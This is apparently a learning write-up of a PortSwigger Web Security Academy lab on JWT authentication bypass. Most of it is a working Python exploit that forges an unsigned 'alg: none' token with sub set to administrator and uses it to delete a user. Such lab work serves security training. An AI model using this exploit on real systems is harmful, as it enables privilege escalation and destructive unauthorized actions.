JWT Authentication Bypass via Flawed Signature Verification

πŸ•— 18-April-2025

πŸ“š What I Learned

While playing with JWTs, I found a scenario where the server accepts tokens with "alg": "none", which basically means no signature at all. That’s a massive security flaw. I could forge my own token and the server blindly trusted it β€” this let me switch identities to administrator and perform privileged actions. It was an eye-opener on why skipping JWT validation is catastrophic.

βš™οΈ How Exploit Works

[+] Start Burp Suite before running the script β€” it uses a proxy for visibility.
[+] The script logs in as wiener to capture a real JWT and extracts the kid value.
[+] It then crafts a JWT with "alg": "none" and updates the sub field to administrator.
[+] This forged token is used to send a request that deletes the target user.
[+] Check the Burp history to follow how the JWT was modified and used.

πŸ–₯️ Command to Run

python3 exploit.py https://<your-lab-id>.web-security-academy.net

import requests
import base64
import json
import sys
import urllib3
from bs4 import BeautifulSoup

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
                        
# Set Burp proxy
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}

# Base64 encode JSON without padding
def b64encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip('=')

# Get CSRF token from login page
def get_csrf_token(s, url):
    r = s.get(url + "/login", verify=False, proxies=proxies)
    soup = BeautifulSoup(r.text, "html.parser")
    token = soup.find("input", {"name": "csrf"})["value"]
    return token

# Log in and extract session JWT
def login_and_get_jwt(s, url, username, password):
    csrf = get_csrf_token(s, url)
    data = {
        "csrf": csrf,
        "username": username,
        "password": password
    }

    r = s.post(url + "/login", data=data, verify=False, proxies=proxies, allow_redirects=False)
    
    if "session" not in r.cookies:
        print("[-] Login failed or JWT cookie not found.")
        sys.exit(1)

    return r.cookies.get("session")

# Forge new JWT with alg: none and sub: administrator
def forge_jwt(original_jwt):
    # Decode original JWT (split into header, payload, signature)
    parts = original_jwt.split('.')
    if len(parts) != 3:
        print("[-] Invalid JWT format.")
        sys.exit(1)

    # Decode payload and modify 'sub'
    payload = json.loads(base64.urlsafe_b64decode(parts[1] + "==").decode())
    payload['sub'] = 'administrator'

    # Create new header
    header = {"alg": "none"}

    # Forge unsigned JWT
    forged = b64encode(header) + "." + b64encode(payload) + "."
    return forged

# Use the forged token to delete a target user
def delete_user(s, url, token, target_user):
    uri = f"/admin/delete?username={target_user}"
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Referer": f"{url}/admin"
    }
    cookies = {"session": token}

    r = s.get(url + uri, headers=headers, cookies=cookies, verify=False, proxies=proxies)

    if "User deleted successfully" in r.text or r.status_code == 200:
        print(f"[+] User '{target_user}' deleted successfully.")
    else:
        print(f"[-] Failed to delete user '{target_user}'.")
        print(r.text)

 # Main script
if __name__ == "__main__":
    try:
         url = sys.argv[1].strip().rstrip("/")
    except IndexError:
        print(f"[-] Usage: {sys.argv[0]} <url>")
        sys.exit(1)

    session = requests.Session()

    # Step 1: Login as 'wiener' and get original JWT
    original_jwt = login_and_get_jwt(session, url, "wiener", "peter")
    print(f"[+] Original JWT: {original_jwt}")

    # Step 2: Forge JWT with admin privileges
    forged_token = forge_jwt(original_jwt)
    print(f"[+] Forged JWT: {forged_token}")

    # Step 3: Use forged token to delete 'carlos'
    delete_user(session, url, forged_token, "carlos")